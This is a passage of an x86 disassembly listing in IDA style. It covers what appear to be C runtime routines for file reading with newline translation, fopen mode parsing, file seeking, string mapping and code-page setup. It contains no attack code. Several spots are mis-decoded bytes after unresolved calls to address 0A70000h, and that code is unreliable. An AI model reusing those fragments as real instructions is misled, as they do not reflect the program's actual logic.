		jz	short loc_416677
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_416708
; ---------------------------------------------------------------------------


loc_416677:				; CODE XREF: sub_416554+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_416695
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41668C
		add	[ebp+arg_8], 2
		jmp	short loc_4166EA
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_416554+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_416708
; ---------------------------------------------------------------------------


loc_416695:				; CODE XREF: sub_416554+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41C08C	; ReadFile
		test	eax, eax
		jnz	short loc_4166BD
		call	ds:dword_41C060	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_416704


loc_4166BD:				; CODE XREF: sub_416554+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_416704
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_4166DF
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_4166EA
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_416708
; ---------------------------------------------------------------------------


loc_4166DF:				; CODE XREF: sub_416554+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_4166EF
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_4166EF


loc_4166EA:				; CODE XREF: sub_416554+136j
					; sub_416554+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_416707
; ---------------------------------------------------------------------------


loc_4166EF:				; CODE XREF: sub_416554+18Ej
					; sub_416554+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_416932
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_416708


loc_416704:				; CODE XREF: sub_416554+167j
					; sub_416554+16Dj
		mov	byte ptr [edi],	0Dh


loc_416707:				; CODE XREF: sub_416554+199j
		inc	edi


loc_416708:				; CODE XREF: sub_416554+11Ej
					; sub_416554+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41665B
		jmp	short loc_416726
; ---------------------------------------------------------------------------


loc_416716:				; CODE XREF: sub_416554+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_416726
		or	al, 2
		mov	[esi], al


loc_416726:				; CODE XREF: sub_416554+101j
					; sub_416554+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41672C:				; CODE XREF: sub_416554+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_416745
; ---------------------------------------------------------------------------


loc_416731:				; CODE XREF: sub_416554+12j
					; sub_416554+39j
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9


loc_416742:				; CODE XREF: sub_416554+ABj
					; sub_416554+C3j
		or	eax, 0FFFFFFFFh


loc_416745:				; CODE XREF: sub_416554+B7j
					; sub_416554+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416554	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41674A	proc near		; CODE XREF: sub_411A92+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_45EDD4
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_416783
		cmp	al, 72h
		jz	short loc_41677C
		cmp	al, 77h
		jnz	loc_416897
		mov	ecx, 301h
		jmp	short loc_416788
; ---------------------------------------------------------------------------


loc_41677C:				; CODE XREF: sub_41674A+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41678B
; ---------------------------------------------------------------------------


loc_416783:				; CODE XREF: sub_41674A+1Dj
		mov	ecx, 109h


loc_416788:				; CODE XREF: sub_41674A+30j
		or	esi, 2


loc_41678B:				; CODE XREF: sub_41674A+37j
		push	1
		pop	edx


loc_41678E:				; CODE XREF: sub_41674A+8Bj
					; sub_41674A+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41687D
		cmp	edx, ebx
		jz	loc_41687D
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41681C
		jz	short loc_41680C
		sub	eax, 2Bh
		jz	short loc_4167F6
		sub	eax, 19h
		jz	short loc_4167EC
		sub	eax, 0Eh
		jz	short loc_4167D7
		dec	eax
		jnz	loc_41686E
		cmp	[ebp+var_4], ebx
		jnz	loc_41686E
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41678E
; ---------------------------------------------------------------------------


loc_4167D7:				; CODE XREF: sub_41674A+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41686E
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41678E
; ---------------------------------------------------------------------------


loc_4167EC:				; CODE XREF: sub_41674A+6Aj
		test	cl, 40h
		jnz	short loc_41686E
		or	ecx, 40h
		jmp	short loc_41678E
; ---------------------------------------------------------------------------


loc_4167F6:				; CODE XREF: sub_41674A+65j
		test	cl, 2
		jnz	short loc_41686E
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41678E
; ---------------------------------------------------------------------------


loc_41680C:				; CODE XREF: sub_41674A+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41686E
		or	ecx, eax
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_41681C:				; CODE XREF: sub_41674A+5Ej
		sub	eax, 62h
		jz	short loc_416869
		dec	eax
		jz	short loc_416852
		sub	eax, 0Bh
		jz	short loc_41683B
		sub	eax, 6
		jnz	short loc_41686E
		test	ch, 0C0h
		jnz	short loc_41686E
		or	ch, 40h
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_41683B:				; CODE XREF: sub_41674A+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41686E
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_416852:				; CODE XREF: sub_41674A+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41686E
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_416869:				; CODE XREF: sub_41674A+D5j
		test	ch, 0C0h
		jz	short loc_416875


loc_41686E:				; CODE XREF: sub_41674A+72j
					; sub_41674A+7Bj ...
		xor	edx, edx
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_416875:				; CODE XREF: sub_41674A+122j
		or	ch, 80h
		jmp	loc_41678E
; ---------------------------------------------------------------------------


loc_41687D:				; CODE XREF: sub_41674A+4Aj
					; sub_41674A+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_419246
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41689B


loc_416897:				; CODE XREF: sub_41674A+25j
		xor	eax, eax
		jmp	short loc_4168B5
; ---------------------------------------------------------------------------


loc_41689B:				; CODE XREF: sub_41674A+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_45ECD4
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4168B5:				; CODE XREF: sub_41674A+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41674A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168BA	proc near		; CODE XREF: sub_411A92p
		mov	edx, ds:dword_45FE20
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41692B
		mov	ebx, ds:dword_45EE04
		mov	edi, ebx


loc_4168D6:				; CODE XREF: sub_4168BA+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_4168F1
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_4168EC
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_4168D6
		jmp	short loc_41692B
; ---------------------------------------------------------------------------


loc_4168EC:				; CODE XREF: sub_4168BA+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_416915
; ---------------------------------------------------------------------------


loc_4168F1:				; CODE XREF: sub_4168BA+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_410AEB
		pop	ecx
		mov	ecx, ds:dword_45EE04
		mov	[edi+ecx], eax
		mov	eax, ds:dword_45EE04
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41692B
		mov	esi, edi


loc_416915:				; CODE XREF: sub_4168BA+35j
		cmp	esi, ebp
		jz	short loc_41692B
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41692B:				; CODE XREF: sub_4168BA+12j
					; sub_4168BA+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4168BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_416932	proc near		; CODE XREF: sub_411D8E+67p
					; sub_412AB7+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_45FF40
		push	esi
		push	edi
		jnb	short loc_4169B4
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:45FE40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4169B4
		push	eax
		call	sub_4191B2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_416976
		mov	ds:dword_45EB14, 9
		jmp	short loc_4169C5
; ---------------------------------------------------------------------------


loc_416976:				; CODE XREF: sub_416932+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_41C090	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_416996
		call	ds:dword_41C060	; RtlGetLastWin32Error
		jmp	short loc_416998
; ---------------------------------------------------------------------------


loc_416996:				; CODE XREF: sub_416932+5Aj
		xor	eax, eax


loc_416998:				; CODE XREF: sub_416932+62j
		test	eax, eax
		jz	short loc_4169A5
		push	eax
		call	sub_4171B2
		pop	ecx
		jmp	short loc_4169C5
; ---------------------------------------------------------------------------


loc_4169A5:				; CODE XREF: sub_416932+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4169C8
; ---------------------------------------------------------------------------


loc_4169B4:				; CODE XREF: sub_416932+Dj
					; sub_416932+2Aj
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9


loc_4169C5:				; CODE XREF: sub_416932+42j
					; sub_416932+71j
		or	eax, 0FFFFFFFFh


loc_4169C8:				; CODE XREF: sub_416932+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416932	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169CC	proc near		; CODE XREF: sub_411D8E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4169E8
		mov	[edi+4], ebx


loc_4169E8:				; CODE XREF: sub_4169CC+17j
		push	1
		push	ebx
		push	esi
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_416A56
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_416A0D
		sub	eax, [edi+4]
		jmp	loc_416B1F
; ---------------------------------------------------------------------------


loc_416A0D:				; CODE XREF: sub_4169CC+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_416A47
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_45FE40[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_416A5E
		mov	edx, ecx


loc_416A38:				; CODE XREF: sub_4169CC+79j
		cmp	edx, eax
		jnb	short loc_416A5E
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_416A44
		inc	[ebp+var_8]


loc_416A44:				; CODE XREF: sub_4169CC+73j
		inc	edx
		jmp	short loc_416A38
; ---------------------------------------------------------------------------


loc_416A47:				; CODE XREF: sub_4169CC+50j
		test	dl, 80h
		jnz	short loc_416A5E
		mov	ds:dword_45EB14, 16h


loc_416A56:				; CODE XREF: sub_4169CC+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_416B1F
; ---------------------------------------------------------------------------


loc_416A5E:				; CODE XREF: sub_4169CC+68j
					; sub_4169CC+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_416A6C
		mov	eax, [ebp+var_8]
		jmp	loc_416B1F
; ---------------------------------------------------------------------------


loc_416A6C:				; CODE XREF: sub_4169CC+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_416B17
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_416A85
		and	[ebp+var_8], edx
		jmp	loc_416B17
; ---------------------------------------------------------------------------


loc_416A85:				; CODE XREF: sub_4169CC+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FE40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_416B11
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_416AD8
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_416AC3:				; CODE XREF: sub_4169CC+104j
		cmp	eax, ecx
		jnb	short loc_416AD2
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_416ACF
		inc	[ebp+arg_0]


loc_416ACF:				; CODE XREF: sub_4169CC+FEj
		inc	eax
		jmp	short loc_416AC3
; ---------------------------------------------------------------------------


loc_416AD2:				; CODE XREF: sub_4169CC+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_416B0C
; ---------------------------------------------------------------------------


loc_416AD8:				; CODE XREF: sub_4169CC+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_416932
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_416AFF
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_416AFF
		test	ch, 4
		jz	short loc_416B02


loc_416AFF:				; CODE XREF: sub_4169CC+124j
					; sub_4169CC+12Cj
		mov	eax, [edi+18h]


loc_416B02:				; CODE XREF: sub_4169CC+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_416B0C:				; CODE XREF: sub_4169CC+10Aj
		jz	short loc_416B11
		inc	[ebp+arg_0]


loc_416B11:				; CODE XREF: sub_4169CC+D9j
					; sub_4169CC:loc_416B0Cj
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_416B17:				; CODE XREF: sub_4169CC+A4j
					; sub_4169CC+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_416B1F:				; CODE XREF: sub_4169CC+3Cj
					; sub_4169CC+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4169CC	endp

; ---------------------------------------------------------------------------


loc_416B24:				; CODE XREF: sub_411FB7+A3p
					; sub_415651+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C870
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_45EB94, edi
		jnz	short loc_416B9A
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_41C868
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_41C184	; LCMapStringW
		test	eax, eax
		jz	short loc_416B78
		mov	ds:dword_45EB94, ebx
		jmp	short loc_416B9A
; ---------------------------------------------------------------------------


loc_416B78:				; CODE XREF: seg000:00416B6Ej
		push	edi
		push	edi
		push	ebx
		push	offset dword_42E654
		push	esi
		push	edi
		call	near ptr 0A70000h
		rol	byte ptr [ebp+22840FC0h], 1
		add	[eax], eax
		add	bh, al
		add	eax, offset dword_45EB94
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_416B9A:				; CODE XREF: seg000:00416B52j
					; seg000:00416B76j
		cmp	[ebp+14h], edi
		jle	short loc_416BAF
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41A915
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_416BAF:				; CODE XREF: seg000:00416B9Dj
		mov	eax, ds:dword_45EB94
		cmp	eax, 2
		jnz	short loc_416BD6
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0A70000h
		test	ebp, ecx
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_416BD6:				; CODE XREF: seg000:00416BB7j
		cmp	eax, 1
		jnz	loc_416CB2
		cmp	[ebp+20h], edi
		jnz	short loc_416BEC
		mov	eax, ds:dword_45EBB0
		mov	[ebp+20h], eax


loc_416BEC:				; CODE XREF: seg000:00416BE2j
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_41C12C	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_416CB2
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_411C60
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_416C47
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_416C47:				; CODE XREF: seg000:00416C32j
		cmp	[ebp-24h], edi
		jz	short loc_416CB2
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_41C12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_416CB2
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C184	; LCMapStringW
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_416CB2
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_416CC6
		cmp	[ebp+1Ch], edi
		jz	loc_416D41
		cmp	esi, [ebp+1Ch]
		jg	short loc_416CB2
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C184	; LCMapStringW
		test	eax, eax
		jnz	loc_416D41


loc_416CB2:				; CODE XREF: seg000:00416BD9j
					; seg000:00416C10j ...
		xor	eax, eax


loc_416CB4:				; CODE XREF: seg000:00416D43j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416CC6:				; CODE XREF: seg000:00416C84j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_411C60
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_416CFA
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_416CFA:				; CODE XREF: seg000:00416CE6j
		cmp	ebx, edi
		jz	short loc_416CB2
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_41C184	; LCMapStringW
		test	eax, eax
		jz	short loc_416CB2
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_416D21
		push	edi
		push	edi
		jmp	short loc_416D27
; ---------------------------------------------------------------------------


loc_416D21:				; CODE XREF: seg000:00416D1Bj
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_416D27:				; CODE XREF: seg000:00416D1Fj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_41C128	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_416CB2


loc_416D41:				; CODE XREF: seg000:00416C89j
					; seg000:00416CACj
		mov	eax, esi
		jmp	loc_416CB4
; ---------------------------------------------------------------------------


loc_416D48:				; CODE XREF: sub_41710C+Bp
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	sub_416EE1
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_45FF44
		mov	[ebp+8], esi
		jz	loc_416ED5
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_416ECB
		xor	edx, edx
		mov	eax, offset dword_42DBA0


loc_416D7C:				; CODE XREF: seg000:00416D89j
		cmp	[eax], esi
		jz	short loc_416DF2
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_42DC90
		jl	short loc_416D7C
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	near ptr 0A70000h
		sub	al, 83h
		clc
		add	[edi], ecx
		test	[ecx+eax], esp
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
		inc	eax
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_460060
		cmp	dword ptr [ebp-18h], 1
		mov	ds:dword_45FF44, esi
		rep stosd
		stosb
		mov	ds:dword_460164, ebx
		jbe	loc_416EB1
		cmp	byte ptr [ebp-12h], 0
		jz	loc_416E87
		lea	ecx, [ebp-11h]


loc_416DCF:				; CODE XREF: seg000:00416E81j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_416E87
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_416DE0:				; CODE XREF: seg000:00416DF0j
		cmp	eax, edx
		ja	loc_416E7B
		or	ds:byte_460061[eax], 4
		inc	eax
		jmp	short loc_416DE0
; ---------------------------------------------------------------------------


loc_416DF2:				; CODE XREF: seg000:00416D7Ej
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_460060
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp-4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_42DBB0[esi]


loc_416E0E:				; CODE XREF: seg000:00416E4Bj
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_416E41


loc_416E15:				; CODE XREF: seg000:00416E3Fj
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_416E41
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_416E3A
		mov	edx, [ebp-4]
		mov	dl, ds:byte_42DB98[edx]


loc_416E2F:				; CODE XREF: seg000:00416E38j
		or	ds:byte_460061[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_416E2F


loc_416E3A:				; CODE XREF: seg000:00416E24j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_416E15


loc_416E41:				; CODE XREF: seg000:00416E13j
					; seg000:00416E1Aj
		inc	dword ptr [ebp-4]
		add	ebx, 8
		cmp	dword ptr [ebp-4], 4
		jb	short loc_416E0E
		mov	eax, [ebp+8]
		mov	ds:dword_45FF5C, 1
		push	eax
		mov	ds:dword_45FF44, eax
		call	sub_416F2B
		lea	esi, dword_42DBA4[esi]
		mov	edi, offset dword_45FF50
		movsd
		movsd
		pop	ecx
		mov	ds:dword_460164, eax
		movsd
		jmp	short loc_416ED0
; ---------------------------------------------------------------------------


loc_416E7B:				; CODE XREF: seg000:00416DE2j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_416DCF


loc_416E87:				; CODE XREF: seg000:00416DC6j
					; seg000:00416DD3j
		push	1
		pop	eax


loc_416E8A:				; CODE XREF: seg000:00416E97j
		or	ds:byte_460061[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_416E8A
		push	esi
		call	sub_416F2B
		pop	ecx
		mov	ds:dword_460164, eax
		mov	ds:dword_45FF5C, 1
		jmp	short loc_416EB7
; ---------------------------------------------------------------------------


loc_416EB1:				; CODE XREF: seg000:00416DBCj
		mov	ds:dword_45FF5C, ebx


loc_416EB7:				; CODE XREF: seg000:00416EAFj
		xor	eax, eax
		mov	edi, offset dword_45FF50
		stosd
		stosd
		stosd
		jmp	short loc_416ED0
; ---------------------------------------------------------------------------
		cmp	ds:dword_45EBB8, ebx
		jz	short loc_416ED9


loc_416ECB:				; CODE XREF: seg000:00416D6Fj
		call	sub_416F5E


loc_416ED0:				; CODE XREF: seg000:00416E79j
					; seg000:00416EC1j
		call	loc_416F87


loc_416ED5:				; CODE XREF: seg000:00416D65j
		xor	eax, eax
		jmp	short loc_416EDC
; ---------------------------------------------------------------------------


loc_416ED9:				; CODE XREF: seg000:00416EC9j
		or	eax, 0FFFFFFFFh


loc_416EDC:				; CODE XREF: seg000:00416ED7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416EE1	proc near		; CODE XREF: seg000:00416D54p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_45EBB8, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_416F01
		mov	ds:dword_45EBB8, 1
		call	near ptr 0A70000h
		stosd


loc_416F01:				; CODE XREF: sub_416EE1+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_416F16
		mov	ds:dword_45EBB8, 1
		call	near ptr 0A70000h
		inc	ecx


loc_416F16:				; CODE XREF: sub_416EE1+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_416F2A
		mov	eax, ds:dword_45EBB0
		mov	ds:dword_45EBB8, 1

locret_416F2A:				; CODE XREF: sub_416EE1+38j
		retn
sub_416EE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F2B	proc near		; CODE XREF: seg000:00416E60p
					; seg000:00416E9Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_416F58
		sub	eax, 4
		jz	short loc_416F52
		sub	eax, 0Dh
		jz	short loc_416F4C
		dec	eax
		jz	short loc_416F46
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_416F46:				; CODE XREF: sub_416F2B+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_416F4C:				; CODE XREF: sub_416F2B+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_416F52:				; CODE XREF: sub_416F2B+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_416F58:				; CODE XREF: sub_416F2B+9j
		mov	eax, 411h
		retn
sub_416F2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F5E	proc near		; CODE XREF: seg000:loc_416ECBp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_460060
		rep stosd
		stosb
		xor	eax, eax
